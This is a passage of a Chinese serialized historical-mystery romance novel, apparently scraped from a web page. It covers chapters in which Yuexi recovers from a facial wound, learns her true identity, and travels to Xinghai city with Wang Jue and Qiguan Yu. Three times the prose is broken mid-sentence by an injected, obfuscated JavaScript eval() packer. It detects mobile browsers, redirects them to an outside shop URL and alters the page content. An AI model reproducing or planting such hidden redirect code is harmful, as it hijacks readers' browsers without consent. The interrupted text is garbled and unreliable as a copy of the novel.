瞧见眼前的场景,王珏顿觉自己的心像是在油锅里滚过一样,他恨不能将地上那尸首分离的侏儒碎尸万段! 归根结底还是他的疏忽,他没有护好她! “我无事。”见他冷着脸自责的模样,月夕耸了耸肩表示无所谓,甚至还评价了起来,“这侏儒剥皮的本事不错,只伤了些表皮,敷些药休养一些时日就没事了。” 苏兰听到此话,又是哇地一声哭了起来,“姊姊,你就莫要宽慰我们了。” 说着她正要去寻纳兰羿,却听纳兰羿的声音从床具处传来,“还不快过来躺下!” 众人循声望去,却见他不知从何处寻来了好些药材与工具,冷着脸站在床具旁,等着几人过去,“再不过来我就不医了!” 月夕正想伸出脚迈过去,谁想身子一轻,自己竟是被王珏打横抱了起来,她本想拒绝,却听他道,“听话,之后的事交给我。” 许是那丹炉里的烟雾起了作用,又许是失血过多,听到王珏这句话后,月夕这才如释重负,在他将她放到床具上时,闭上眼睛沉沉地睡了过去。 她这么一睡,竟是睡了整整半个月。 倒也不是她本身想睡,而是为了让她好好养护那半张脸,在医治她时,纳兰羿在她的药里放了些安眠的成分,等到那张脸彻底结完痂并开始脱落,她才缓缓醒转过来。 月夕刚睁开眼,便发觉自己并非躺在自己的卧室里,屋子里飘散着的是一股淡淡的茶香与药香。 这味道让她瞬即想起一个人。 “醒了?”才刚想起他,那人温柔的声音便在屋子里响起。 循声望去,却见王珏一身素衣外头又披着一件大氅,拿着一只药碗从外面进来。 月夕轻咳了几声,直到找回自己的声音,才道:“我睡了多久?” “半个月。”天已入冬,有冷风跟着王珏吹到了屋子里,他似是早已料到,便在门口站了一会儿,才走过来,“纳兰说炭火不利于你恢复,我便命人给你多加了几条被褥,可还冷?” 月夕动了动,发觉自己手脚边都放着一个汤婆子,这些汤婆子还是暖融融的,想来是不久前刚放进来的,她摇了摇头,再问:“那洞窟最后如何了?” 王珏知道她醒来定会问,于是边上手去拆她脸上的纱布,边柔声道,“洞窟中的东西都被运回来了,那些黑衣人与侏儒的尸体就在衙门冰窖下藏着,里头的药物与一应器具也都带回来了,纳兰正研究着。穆家人已经交代,他们与袁正奎合作拐卖妇孺时发现了一个被采了大半的硝矿,双方达成交易,那些硝矿都归穆家所有,而穆家帮袁正奎收藏那些妇孺。” 拆下纱布后,他又小心翼翼地将她脸上残余的药膏用已然揉搓柔软的棉布轻轻擦拭掉,再从药碗中取出药膏,往上一点一点抹着。 “为了采矿,穆家人诓骗龙雨村青壮年进山做苦力,又为了掩人耳目编出了河妖吃人的传闻,并在硝矿采得差不多时,将所有青壮年灭了口。”他顿了顿,“那些硝矿通过瓷器转出,经过货船,流通于大江南北之间。” 月夕还想问些什么,王珏接着道:“贞娘淑娘与丽娘合力杀了人,但念及三人有降鼍之术,我便命人将三人关在了洞窟内。” 月夕蹙了蹙眉,本想要多说些话,可那药膏作用着她的脸皮,紧绷得她连开口都有些困难,于是许久她才挤出了两个字,“抱歉。” 王珏的手明显一顿,但很快他明白了她的意思,当日事态紧急,他刚从昏迷中清醒过来,眼见着那侏儒要对她不利,他几乎是下意识地使出了扇子,只是万万没想到,那侏儒竟是个机关术傀儡。 他微微一笑,“对方阴诡狡诈,傀儡本就是其放出来的幌子,而且傀儡本就是死物,线索丢不了。倒是你。” 他面色一凝,“明知它只是个傀儡,为何还甘愿被割去面皮?” 说话间,她脸上的药膏已经被处理好,待到稍稍干了些,王珏才拿了替换的纱布,小心翼翼地将涂抹药膏的地方裹了起来。 月夕否认:“它的行为太像人了,直到它被亓官郎君扎了刀,我才反应过来,只是早已来不及了。”她看向他,“他该是趁乱跑了吧?” 当日那侏儒傀儡割她面皮的时候,手实在太稳了,以至于她一直以为那侏儒傀儡便是幕后主使,直到它被亓官彧扎了一刀,她才察觉到异常。 且不说它那副满是机械的身躯,只说被亓官彧扎刀的那一瞬间的神情,与常人很是不同。 常人被扎刀,要么是不可思议,要么是愤恨,要么是震惊甚至是痛苦,而那侏儒傀儡却毫无波澜,仿佛是从未遇到过这样的情形,后来它确实也表现出了惊讶和不可思议,但神情转变十分生硬又扭曲,像是立刻做出的调整。 自这一刻,她才对那侏儒傀儡有所怀疑。 但当时大家的注意力全放在了那只侏儒傀儡身上,完全忘了在角落里还有几个昏迷且被“控制”着的孩子,若是她猜得不错,那个控制侏儒傀儡的幕后之人,必定就藏在那几个孩子中。 王珏嗯了一声,“那里地势复杂,再加上那几个孩子也被做成了傀儡,即便飞燕与竹心带人在外头堵着,也没抓住。不过,” 未免她自责,王珏补充道,“飞燕根据其行踪推测,他往兴海城的方向去了。” 月夕这才点了点头,只要有方向,那必定能将幕后那人缉拿归案。 潮湿的冷风悄无声息地钻进了屋子里,大约身子骨还是有些虚,月夕不由地往被褥里缩了缩,王珏替她换好药,嘱咐了几句后,原本要走的,可才刚起身,却被她叫住了。 “县尊可还有旁的话要同我说?”月夕问。 王珏似是被戳中了什么心事,停顿了一会儿,才微微挑眉反问道:“你想听什么?” 月夕抬眸,清澈的眼睛定定地看着他,良久后才道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281046|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“譬如李逢,再譬如通天观。还请县尊替我解惑。” 王珏转过身来,抿唇一笑,“原打算你身子好一些才同你说的,但既然你问了,那我便告知你吧。” 月夕有些诧异,她以为他会搪塞的。 她点点头,做出一副洗耳恭听的样子。 王珏复又坐下,许久后才开口:“我曾与你说过,李逢是家师,他也是原通天观座师道人,原太子太傅。” 下唐以自修治国,修的是本心也是大道,然得道之人少之又少,是以举国上下道观虽不知凡几,但能开学讲课的却只有那么几个。 作为皇家道观的通天观便是其中之一。 李逢十岁入观,十三岁得道,下山游历了十五年,回通天观后,便顺理成章地成为了天下学子的座师道人。 彼时当今皇帝还是燕王时,因自小体弱在通天观养病,受教于他,是以后来燕王荣登大位之后,又因他于游历途中娶妻生子无法继承道观而请他出山做辅相。 谁想李逢生性洒脱不喜约束,又闻皇帝将为人父,便只应承做了太子太傅。 李逢与百官之首柳琛师出同门,合作起来倒也十分默契,示意当今皇帝登基的那段时日,整个下唐安安稳稳国泰民安了好一段时日。 “他已出山,按理说早已与通天观无关。”月夕不解,“可听当日那傀儡的意思,他的死与通天观是有所关联的。” 王珏摇头,脸色有些不好,“我也是头一回听闻。” 在他眼中,通天观是至高至纯至净之所在,无论是观主还是观中的每一位道长,都是得道高人。得道之人首先就已经剔除了三尸,三尸乃万恶之源,试想一个斩断三尸之人,又怎会有害人之心? “那他为何要自请外派做官?”月夕又问。 王珏摇头,“我得知消息本想追上去问问恩师到底发生了何事,谁想恩师出宫后就消失了,谁都不知其行踪,陛下的旨意只说恩师自请外派做官,却没说是去哪里做官。直到两年后……” 两年后监察司找到了李逢意图谋反的证据,昭告天下之后,众人才知原来他竟是去了青禾县。 那时王珏不在京城,但李逢的其他学生在,其中不乏贵胄子弟,可即便是他们求情,李逢依旧被以谋反的罪名,判了满门抄斩。 “李逢后来是不是曾去过南方?”月夕突然问。 王珏未曾否认,“那会儿恩师带着我与……瑾儿去游历,正好遇见淮阳妖人欺骗百姓,于是设法将他的那个教派给灭了,我也没想到那淮阳妖人逃走后辗转也进了京,甚至不知从何处寻了门路,准备进宫觐见。谁都不想陛下被这妖人蛊惑,恩师又想了个法子,将他的阴谋给破了,还将他打入了诏狱,只是万万没想到……” 没想到他竟是将那邪术练成了,还残忍地弄死了诏狱里看守他的那四个狱卒。 冷风依旧没停歇,甚至有越吹越大的趋势,有几颗白色的雪花从外头吹进来,落在窗棂上,迅速化成一滴小水滴。 月夕看他依旧有意回避,便开口道,“你是何时知道我的身份的?为何……为何不告诉我?” 79. 归途 王珏忽而顿住了,眼前的这个小娘子何等聪明,更何况线索已经明朗,从这些线索中推测出结果几乎易如反掌。 只是他以为她会过段时日才会提,至少等到身子好些,没成想才刚醒便提了,这让他有些措手不及。 他舒了口气,那如深渊般漆黑的眼睛正正地看着她,竟是将她整个人都清晰的倒映了出来,“你的双目自小就特别,任何人只要有所欺瞒,在你眼中都无所遁形,恩师说这是你的天资。” 月夕亦是微微抬眸对上了他的眼睛,“初见时,你便认出我了,对不对?” 王珏顿了顿,微微颔首,“那时我只是有所怀疑,却不大确定,直到瞧见你的玉,才稍稍肯定了几分。” “是以在穆家,你以查案之机再次试探,最终才确定我就是她。”月夕接上他的话,继续问道,“你似是不想让我知道我的身世,却又想让我知道我的身世,这是为何?可是因为你我之间的婚约?” 王珏没想到她会说得这般直白,竟一时不知该如何开口。 他承认自己是有私心的,为李家平冤是他此行目的,或许可能是他此生唯一目的,这条路汹涌的暗流实在太多,动辄就是万劫不复,正因如此,他早已起了将自己从族谱中划去姓名的心思。 当得知她已经失忆,当即他便觉着这样便是最好的安排,她可以安安稳稳地生活在黎阳县里,将来再寻觅一个良人,成婚生子平平安安地度完此生。 可另一方面,他又觉得有些可惜,从前的她是何等的聪慧又明朗,就连恩师都说,她身上有开山祖师的气韵。 下唐的道者,都是能成婚的,下唐人都认为最上成的修道是修心,而她正好有修心的天资。 是以他心里一直矛盾着,若是她这般平平安安地过完此生,虽会愧疚,但也安心,可她若知晓一切,必定会与他走上一样的道路,为李逢平冤,与那些躲在暗处的所有势力为敌,不知何时有命。 她可是有修心天资的人啊,他不想她就这样毁在了他手里。 “虽未忆起从前事,但我知晓若是从前的我,必定不想被瞒着。”月夕如实道,“阿爷总对我说,既来之则安之,人生短短数十载,眨眼就过去了,只要当下过好便好了,可我不这么想。” 她换了个姿势继续躺着,并紧了紧裹在身上的被褥,“都无来处,何谈归途?” 从前一片空白,她又能凭着什么倚仗往哪个方向走?她不知道。 是以自那之后,她才起了找回记忆的决心。 窗外的飘雪越来越大,竟在窗棂上积起薄薄的一层,屋内燃着的炭火劈啪作响,良久,王珏柔声道,“抱歉,是我错了。” “哟呵,堂堂琅琊王家的贵郎君竟也会认错呢?啧啧,真是奇闻!”说话间,一个黑影闪身入内,眨眼功夫便立在了月夕的床前。 月夕抬头一看,倏地对上了一双绿色的眼睛。 亓官彧径自在月夕床边坐下,关心道,“小月娘,可觉着脸还疼?” 月夕觉得奇怪,连带着看着他俩的眼神都带着诧异,“亓官郎君怎会在此处?” “还说呢,小月娘,你可真没良心,竟舍得我一人独守空房半个多月!”亓官彧虽只在那里坐着,言语间却满是暧昧,这叫月夕的眉头又是一阵微蹙。 王珏脸色顿时一沉,“看来是我县衙的饭菜将亓官将军喂得太饱了。” 亓官彧呵然一笑,“你们这儿的烤肉实在难吃,一点味儿都没有,还是小月娘做的面疙瘩好吃。” 说着,他扬起眉看了王珏一眼,眼底满是炫耀之意。 霎时间,屋子里的氛围开始不对劲,月夕甚至品出了些剑拔弩张的味道来。 连带着冷风滚滚而入,未免屋子的温度再次下降,月夕开口道:“你二人可是做了什么交易?” 此话一出,两人几乎同时一愣,纷纷异口同声。 “不曾。” “从未。” 月夕抿唇一笑,“哦,倒不知你二人竟这般默契。” 两人又是一顿,相互瞪了一眼后,亓官彧迅速站起身往后退了好几步,一副要与对方拉开距离的样子。 论年纪,王珏是三人中年纪稍长的那个,方才若非月夕在场,他险些也要与亓官彧做出相同举动来,自觉无奈好笑,随即向月夕解释道,“这位亓官将军,便是当日那傀儡口口声声说的兵人。” 虽然月夕对此也有所猜测,但当她亲耳听到时,依旧往亓官彧送去了打量的目光。 兵人虽说在战事上十分有利,但也是一种泯灭人性的禁术,即便如此,月夕还是问出了当日那侏儒傀儡问出的问题。 “这世上当真有噬心蛊虫?” 当日,她也在那些黑衣人的体内找出一枚虫,后因那个“神兵降世,天下一统”的传闻,她总觉着那虫并非传闻中的噬心蛊虫,正如那日所猜测的,若这天底下当真有这么一种蛊虫,那拥有噬心蛊虫的军队岂不是所向披靡? 所以,她才觉着所谓噬心蛊虫,不过是个当时统制者稳定人心的幌子。 亓官彧倏地沉稳了起来,连带着那双绿色的眸子也深邃了些许。 “不错,这世上确有过噬心蛊虫。”他道,“只不过如今已然绝种。” 未等月夕相问,他继续道:“是我亲手毁了噬心蛊虫的母虫与所有虫卵,如今这世间留存的类似于噬心蛊虫的那一类蛊虫,不过是些应声虫罢了。” “应声虫寿命不过两三个月,且只能在寄生体中活一回,虽也能让寄生体听从操控者命令,但若寄生体有自我意识,那应声虫必死。是以,这世上再无能被操控的兵人了,除非寄生体本身就是个毫无意识的东西。” 譬如那用机关术改造身体的傀儡侏儒。 “可是你也有自我意识。”月夕问。 按理说,被噬心蛊虫控制的人,该是些听话如傀儡般不死不灭的人,可亓官彧却活得好好的。 “是。”亓官彧无奈地苦笑了一声,“我也有操控者,只是我的操控者是我自己罢了。” 也就是说,他的脑子是活的,而他的身体却是被噬心蛊虫占着的,是以他才能控制他自己。 月夕恍悟,怪不得他的脉络异于常人,受伤的身体也总能在一段时间内恢复。 思及此,她又觉得很是庆幸,若这噬心蛊虫还留存于世,必定会被有心之人利用,届时生灵涂炭定是迟早的事。 月夕又问:“亓官将军至今未走,可是有求于人?” 亓官彧原本等着她夸赞,毕竟这世间几乎没几人能在意识完全失控时还能完成自我操控的,谁想她竟一语点出了他留下来的真实意图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282153|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那些到已到嘴边华丽的自夸说辞,倏地被他堵在了喉咙里,不上不下的。 他那双好看的绿眸随即眯了眯。 在月夕与王珏两人的注视之下,他终究没好气地翻了个白眼,摇了摇头,抬手往月夕的方向点了几下,“你这小娘子可是真狠心!” 说完,他双手环胸,眼底仿佛糊了一层厚厚的纱,叫人看不清,“其实在我之前,还有一个兵人,在那些人眼中,他比我听话,比我更完美。只可惜他们万万没想到,也正是因为他,我才得以自我操控,甚至毁掉所有噬心蛊虫。” 这些话他说起来很轻松,可月夕与王珏知道,要制成一个兵人并非一朝一夕,甚至还要经过千锤百炼,层层筛选。 他能在诸多死生之际中活下来,确实不容易。 月夕道:“你不肯离开下唐,可是因为他?” 亓官彧没否认,“他在下唐,更确切地说,他就在兴海城。” 他朝王珏挑了挑眉,“山洞里的那个小东西不是往兴海城去了么?他手里似乎也有兵人,我想他也应该知道他的下落。” 他顿了顿,语气又重了几分,“是非曲直我也已坦诚相告,与我合作不过各取所需,百利而无一害,你若再不答应……呵,你也知晓我的能力,届时就莫要怪我坏你的事。” 有那个纳兰羿在,他的体质与身份迟早会暴露,王珏与月夕在明知他身份的情况下还能给予他信任,这足以说明这二人值得合作,再加上对方人多势众,即便他再强也是双拳难敌四手,更何况,他与他二人的目的一致,倒不如合作来得更便捷一些。 是以即便他再怎么不喜王珏,当下也只有与他合作这一条路才能达到最好的共赢。 对于他的有意示好,王珏自是愿意接受的,谁也不想在做事时还节外生枝树立劲敌。 他近前将月夕的被褥捂好,斜睨了亓官彧一眼,“本县并未拒绝。” “那你……”亓官彧看了看王珏,又看了看月夕,忽然明白了过来,白了他一眼,将剑抱在怀里似笑非笑地看向月夕,“小月娘,等一切结束,我带你回扶绥吧,扶绥天地辽阔,碧绿的草原一望无际,比这到处是水的黎阳县可好多了。” “她会随我去京城。”王珏的脸忽然冷了下来。 亓官彧呿了一声,“她又不是你什么人,怎地去留还要你来决定?” 王珏道:“她是我的未婚妻。” 亓官彧耳力本就很好,方才早已将王珏与月夕谈话的内容听了去,然他却不以为然,继续道,“未婚又如何?即便是已婚妻,她也有决定自己去留的权利,在扶绥,女子嫁人与否,去留与否,一向都是她们自己做主,不像你们下唐,还偏要什么父母之命媒妁之言,真是迂腐又霸道!” “哇,亓官郎君,你们扶绥女子当真如此自由吗?” 苏兰不知何时站在了门外,她用纯白色的狐裘将自己裹得像个面团似得,怀里还抱着条更厚重的狐裘,看上去,圆滚笨重又显得十分可爱。 亓官彧本不爱解释,可看到月夕那也有些探寻的神色,继续道,“不仅女子,我扶绥男儿亦是如此,喜不喜欢全凭自己。” 王珏颔首,不予置否,还补充道:“是以子娶母,甥嫁舅之事也比比皆是。” 还想进一步了解扶绥的苏兰:…… 80. 七福楼 翌日一早,天边的云霞才刚从氤氲中显开,自黎阳县衙出来的马车便已经驶出城郊。 天气寒冷,马车内便置了一只炭盆,又未免一路颠簸,竹心尽可能地放慢了马车的速度。 月夕正躲在狐裘里,露出她那半张裹着纱布半张清秀的脸,看了看外头的天色,道,“真的不打算将林修带上吗?” 王珏正坐在一旁煮茶,柔声道:“林修如今是县尉,县令未上任之前,县内大小事务都由他管,怎么跟来?”说着他抬起头看她,“关心我?” 话音才落,马车里便传来一阵咳嗽声,纳兰羿微微睁开双眼,冷声道:“二位,我只是闭目养神,但没死。” 王珏笑容一僵,月夕却是紧抿着唇,像是在憋着笑。 突然,马车停了下来,竹心的声音传来,“郎君,有情况!” 王珏依旧不慌不忙,分别将桌几上的茶盏满上,一盏推给纳兰羿,一盏推给月夕。 纳兰羿不解,但还是接过杯盏,问:“王郎君似是一点也不着急。” “该来的总会来,着急也无用。”王珏道,“这是今年新出的云雾茶,纳兰医生尝尝?” 纳兰羿将杯盏放在鼻尖闻了闻,眸光一亮,“云雾茶稀有,顶尖的一年也不过产出几壶,都供去宫里了,你怎会有?” 王珏抿唇一笑,“自然是天使给的。” 纳兰羿顿了顿,将茶盏放至唇边抿了一口,云雾茶香仿佛生了眼睛,直往他口腔里钻,醇厚却不涩滑,果然是上品好茶! “郎君,结束了。” 王珏手里动作一顿,正此时,马车一沉,从外头闪进了一个黑影,众人才反应过来时,那影子已然大喇喇地在月夕身边坐下了。 “小月娘,可有想我?” 月夕双眉微挑,“亓官郎君?” 亓官彧冲她微微一笑,顺手给自己倒了杯茶,又往王珏瞥了一眼,“我说姓王的,你到底是得罪了哪路神仙,才出城不到十几里,怎的个个都要杀你?” 王珏眸色渐冷,虽看不出是何神色,但众人都知晓,他这是生气了。 “哪阵风把亓官将军给吹来了?”他道。 亓官彧装作听不懂的样子,往月夕靠了靠,“这车子里实在太冷了,小月娘,你们怎地不坐船?船舱里可暖和多了。” 刚说完,一只如玉竹般剔透修长的手忽至,一把躲过亓官彧手里的杯盏,并迅速将杯盏中的茶水往车外一泼。 亓官彧也不恼,甚至又从桌几上拿了一块点心塞进嘴里,自顾自地吃了起来,完全没有要下车的意思,“这点心还不错,是苏兰那小丫头做的吧?” 自龙雨村回来之后,亓官彧一直在回春堂里养伤,一来二去的就与苏兰苏朗两兄妹混熟了,自然也知晓苏兰有一手好厨艺。 谁想却听月夕道:“天香楼买的。” 亓官彧微微一顿,但还是将点心一整个塞进嘴里,吃完后,才对王珏道:“怎么还不走?” “亓官郎君这是想要同我们一道?”月夕问。 亓官彧不假思索:“正好要去兴海城办点事,蹭个车。” 他朝外头努了努嘴,“这见面礼难道还不够车费?” 众人朝窗外望了一眼,却见东南西三个方向的林子里,皆躺着十几具黑衣人的尸体,从那些人的形态来看,与那日城外围杀与乱葬岗围杀是同一类人。 月夕眸色微凝。 也不知那些人到底做了多少这样的黑衣刺客。 亓官彧吃完便双手环胸舒舒服服地靠在了车壁上,边闭上眼睛边道:“此去兴海城还要一日一夜,我先歇会儿,用饭时劳烦小月娘唤我一声。” 说话间,他便这般不知不觉地睡了过去。 月夕无奈地叹了口气,看向王珏,王珏一向看亓官彧不惯,她以为他会将他赶下马车的,谁想下一刻,他却冷着脸朝外头的竹心道,“走。” 有亓官彧随行,这一路太平了许多,虽也会遇上一些突如其来的夜袭,但有亓官彧在,几乎构不成什么威胁。 如此,他们一行五人就这样慢慢悠悠安安稳稳地进了兴海城。 兴海城确实名不虚传,刚入城内,繁华迎面而来,就算是见过京城繁华的王珏也是眯了眯眼。 兴海城虽是下唐属镇,但自治多年,再加上都护府与都督府的纵容,城内也渐渐形成了一种非常独特的商贸模式,随着港贸的发展,城内的外邦人尤其多,比如现在,从车内一眼望出去,街上几乎全都是色目人、新罗人、东海人、嚤佗人、海姆人等。 “兴海比我想象的要繁华一些。”纳兰羿感叹道。 正此时,马车又停了下来。 竹心传话来,“郎君,前方堵住了。” 月夕正掀开车帘看着外头风景,闻言便往前方望去,却见不远处路口挤着好多人,那些人手里都拿着一支香和一只碗,嘴里念念有词,一脸虔诚,肩上背着一只布囊,囊里鼓鼓囊囊的,也不知里头装了些什么。 月夕又往那条路尽头望过去,尽头处立着一座高楼,楼有七层高,她的目力有限,却也能远远看到位于顶层的那一条长长的白色幡子,幡子旁正坐着一个身着白衣的女子,低着头不知在做些什么。 “郎君,人越来越多,马车过不去了。”竹心道。 “既如此,那便弃车步行。”王珏也看到了顶层那个女子,扭头朝月夕看了一眼,却见月夕早已寻了块面巾将半张脸裹起来,朝他点了点头。 从马车里往外看时,月夕倒也不觉着街上有多少人,可一旦身处街上才察觉,她实在是有些低估了此刻的人流,用摩肩接踵来形容根本就不为过。 正当她犹豫着要不要再往前时,忽然觉着手心一暖,她扭头看过去,却见王珏不知何时已经站到了她的面前,厚重又粗糙的大手将她的手整个裹了起来,许是她方才吹了许多风,手脚冰凉,此刻竟觉着他的手很是温热。 她正要开口道谢,另外一只手也突然被一只温热的手包裹了起来,她倏地朝那边看去,却对上了亓官彧那双绿色的眸子。 他朝她笑道:“哎呀,人实在太多了,小月娘,你可要仔细牵着我,不要把我弄丢了才好。” “亓官将军神通广大,还能弄丢?真是笑话。”王珏白了他一眼,将月夕往自己身边拉。 亓官彧也不恼,顺着他的力道跟了过去,“你瞧瞧,这人挤人的,力道实在不小。” “放手!”王珏瞪了他一眼。 亓官彧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321346|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷哼一声,“你怎么不放手?” 正此时,几人耳边传来一阵咳嗽声,“几位,我还没死,我还在呢。” 为了证明自己的存在,纳兰羿特意走到了几人面前,想是在看猴戏一般看着他们。 在两人争吵之初月夕就想将手抽回,奈何两人手劲儿实在不小,她又因抹了药气力都还未恢复,此刻也只好任由两人牵着。 见纳兰羿发话,月夕也不再忍,只好道,“再不走,后头人挤人上来,我们就走不出去了。” “好,就听小月娘的。”亓官彧说着,便要将月夕往右拉。 王珏自是不悦,又将月夕拉了回来,“这边人更少些。” 月夕实在不想与两人周旋,环顾了一周,瞧见不远处街口有一个茶馆,如释重负,“不如先去茶馆坐坐吧。” 统一目标之后,关于月夕该往何处去的左右拉扯这才堪堪结束,只是为了防止月夕在人流中走丢,在进茶馆之前,两人依旧紧紧牵着她。 是以茶馆中人便看到了一女牵二男进茶馆喝茶这一神奇的一幕。 茶馆里的茶博士倒是个见多识广的,瞧见一蒙面女子拉着两个样貌俊俏的男子进来,后头还跟着个同样样貌气质俊朗的男子,只多看了一眼,便将几人往楼上雅间领,“几位看着眼生,是初来兴海城的吧?” “不错。”王珏回道,“今日城中可是有什么特殊节日?” “说来几位是来巧了。”茶博士将几人领进一个雅间,又殷勤地去打开窗户,指着窗外一眼能瞧见的七层高楼道,“瞧见没有?今日是圣女赐福的日子,每回圣女赐福,七福楼便会大开,信徒们进楼虔诚参拜,便能获得圣女钦赐的福水。” “福水是何物?”王珏问。 茶博士笑道:“福水便是有福之水,喝完之后身体通畅神清气爽,有病治病无病消灾,还能带来好运,听闻城主大人也喝呢!” 亓官彧问:“可灵验?” 茶博士:“自然是灵验的!不然怎么能引来这么多人哄抢?” 亓官彧:“你喝过?” 茶博士:“那自然是没有。” 亓官彧:“既然没有,你怎说是灵验的?” “大家都这么说。”茶博士道:“而且,小人也不够格儿啊。” 亓官彧挑眉:“祈福还分等级?” “那是自然的,也不是所有人都能得到圣女赐福的。”茶博士伸出手,做出掂量着东西的手势,“得要有这个。” 众人恍然,怪不得那些冲进七福楼祈福的人肩上都背着个鼓鼓囊囊的囊袋,原来里头装的是钱。 “不知几位想要喝点什么?”茶博士道,“小店有名贵茶一百多种,顶级茶五十多种,点心亦是有六十几种,几位若是不饿,也可以嗑点小食就就茶。全凭几位贵人。” “那位便是圣女?”一直未出声的纳兰羿不知何时站在窗边,往七福楼眺望过去,视线一直停在坐在顶楼一动不动的白衣女子身上。 茶博士连连点头,“正是呢!” 亓官彧:“她为何,闭着眼睛一动不动?” 茶博士道:“圣女正在求上天赐福,哪里能动?” 纳兰羿冷笑一声,“她是不能动吧?” 81. 嫡庶之分 众人在茶馆里足足等了三个时辰,街道上的人流才渐渐散去,然则天色已晚,再去都护府已然不合适,是以几人决定先在都护府附近的客栈暂时落脚。 刚住进客栈,月夕便将窗户打开了,夜晚的冷风呼呼地吹着,她的脑子也清醒了许多。 一旦清醒,她便总想着白日里那个坐在七福楼上的女子,纳兰羿说的没错,那女子一身单薄白衣,坐在冷风中一动不动,大约也只有两种可能,一种是她不想动,另一种是她不能动。 如此刺骨冷风,若是不想动,那是不可能的,是以只有另外一种可能——她不能动。 秦娥楼龙雨村的事历历在目,兴海城又是外邦人交汇鱼龙混杂之地,拐卖一事不可能不会发生,兴许可能会更严重。 正思考着,她的房门被人敲响,是王珏。 “月娘,可睡了?” “不曾。” 她转身去开了门。 王珏换了身深色常服站在门口,微笑着看着她,“可要出去逛逛?” 不知为何,王珏穿浅色衣裳时,月夕总觉着他温润如玉,仿若翩翩君子,而他穿上深色衣裳时,却觉着他身上有一层神秘又危险的气息。 她在心里不由暗暗叹了一句,果真是人靠衣装。 她顿了顿,答道:“好。” 兴海城与其他城镇不同,晚上没有宵禁,才刚从客栈里出来,月夕便感到街道上与白天不同的热闹氛围。 倒也没有人挤人那般夸张,却也担得起灯火通明一词。 “可要吃些东西?”王珏在她耳旁轻轻问道。 他不说倒好,一说月夕还真觉着有些饿了,毕竟白日里只在茶馆里吃了些点心和小食,还没正经用过饭呢。 于是她点了点头,“好。” 两人在前头街角处的一处羊汤铺子前停了下来,这铺子的老板是头发火红的嚤佗人,见两人上门,脸上几乎笑开了花。 他慌忙迎了上来:“两位贵客要吃些什么?” “你们有些什么?”王珏问。 老板欣然介绍:“自然是羊肉汤,配着嚤佗酥麻饼别有一番滋味,还有拉托,抿圪坎子,都是嚤佗特色。” 王珏颔首,问月夕,“想吃些什么?” 月夕想了想,道,“拉托。” 王珏会意,朝老板道,“两碗拉托。” 老板应了一句,回头便埋头做了起来,很快,两碗热气腾腾的拉托摆在了两人面前的桌几上。 嚤佗有一种植物,名为拉托,不足半人高,每年冬天都会结一树黑色的果子,将果子晒干后碾呈细粉,加入嚤佗特有的杏黄油与水揉和,发酵半日后,拉成长长的面片,丢入滚汤里煮沸,捞出盛入碗中,再点缀些切碎的红果与葱花,闻起来格外的香。 月夕深深地闻了一口,这味道该是能与黎阳县最有名的酸汤面一较高下了。 王珏拿了一双筷子,掏出帕子擦了擦,给她递了过来,“尝尝?” 月夕接过筷子,挑了一条又黑又长的面片,放入口中咬了一口,“不错。” 王珏也挑了一条,尝了一口,点了点头,“的确不错。” 两人相对一视,谁也没有再说什么,只是十分有默契的放下筷子,朝老板喊道,“再给我们包几个酥麻饼吧。” 老板应声,又忙不迭地将酥麻饼端了上去。 见两人拉托只吃了一口,老板神色微变,躬下身更恭敬了些,“敢问这拉托可是不合二位的胃口?” “不是。”王珏道,“老板的拉托很是美味。” “那……”老板不解地看着两人碗里满得快要溢出的拉托。 月夕道:“敢问老板煮拉托的水从何处而来?” 老板虽依旧不解,但还是道:“自是家中井水。” 说完他又恐怕不对,连忙补充道,“二位贵客,那井水咱自家也是喝的,绝对不会有什么问题。” 王珏摆摆手,向他报以一个温柔的笑意,“我与夫人初来乍到,只是有些吃不惯罢了。” 说着,他掏出银子放在桌几上,“你的拉托味道很是不错,用料也很足,将来可有兴趣来副都护府做厨?” 老板猛地愣住了,他以为自己听错了,反应了好一会儿才堪堪找回自己的声音,“副……副都护府?您是?” 王珏笑而不语,拿起桌几上包好的酥麻饼,又顺手牵起月夕的手,在老板那讶异又不可置信的目光里,扬长而去。 似是故意照顾月夕的步伐,王珏走得很慢,趁着夜色与满天的烛光,她抬头看了眼身旁的男子,唇角不由自主地微微扬起了个弧度。 “笑什么?”王珏问。 月夕摇头,道:“在想王郎君到底是个什么样的人。” 王珏勾唇,别过脸来看着她,那双漆黑的眸子里仿佛揉进了这世间所有的温柔,“哦?说来听听。” 月夕想了想,又摇了摇头,“只可意会不可言传。” 说着,她举起那只被牵着的手,“已经走得很远了。” 王珏不但没松,反而紧了紧,“天气太冷,我先帮你捂捂。” 